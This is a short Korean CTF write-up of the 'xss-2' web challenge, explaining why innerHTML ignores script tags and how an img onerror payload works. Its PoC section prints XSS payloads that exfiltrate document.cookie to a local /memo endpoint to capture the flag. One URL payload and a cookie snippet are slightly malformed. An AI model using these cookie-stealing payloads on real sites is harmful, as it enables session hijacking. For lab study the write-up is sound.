xss-2

- 문제 흐름은 xss-1 문제와 동일했는데요. /flag 경로로 POST 요청을 보내면
check_xss함수가 호출됩니다.

xss-1문제와는 달리,xss-2문제는 vuln.html 파일이 존재했는데요.- (POST /flag) 경로에서 입력받은 파라미터(param) 값을 innerHTML로 페이지에 출력하는 형태입니다.

- /vuln 경로에 XSS 페이로드를 삽입한 후 반응을 살피면 아래와 같은데요.
- 페이지에 악성 페이로드 삽입은 성공했지만, 스크립트가 실행되지는 않았습니다.

- 스크립트 태그가 아닌, 이미지 태그를 사용하니 정상적으로 XSS 페이이드가 실행되었습니다.
- 찾아보니, HTML5는 innerHTML로 생성된 스크립트(script) 태그를 텍스트로 인식한다네요. (REFERENCE 1, 2)
- 코드 인젝션을 예방하기 위해서..인 것 같은데, 다른 태그는 왜 안 막았는지 궁금하긴 합니다.

PoC
- /vuln 경로에서 Reflected XSS 취약점이 발생하는 건 확인했으니 플래그를 획득해보겠습니다.
- (POST /flag) 경로에서 파라미터(param) 값으로 아래와 같은 페이로드를 입력해보겠습니다.
<img src=x onerror=window.open('http://127.0.0.1:8080/memo?memo='+document.cookie)>
<a tabindex=1 onfocusin=location.href="/memo?memo="+document.cookie autofocus>flag</a>

(url) http://127.0.0.1:8000/vuln?param=<img/src=window.open('http://127.0.0.1:8000/memo?memo=' + document.cookie)>(cookie) {"name": "flag", "value": FLAG.strip(), "domain", "127.0.0.01"}- 호스트 내부에서 셀레니움을 통해 위 URL로 요청이 보내지며 최종적으로 /memo 경로에 플래그가 저장된다.
- (1) 쿠키(cookie)와 함께 URL 경로로 접근
- (2) 이 때, /memo?memo={param}의
param값으로 플래그를 넘김 - (3)
memo()함수 호출되고,memo_text변수에 플래그 값이 추가로 저장됨

- 호스트 내부에서 셀레니움을 통해 위 URL로 요청이 보내지며 최종적으로 /memo 경로에 플래그가 저장된다.
- 이후 /memo 경로로 접근하면, 플래그가 저장되어 있는 걸 확인할 수 있습니다.

🐛.. 🐛.. 🐛..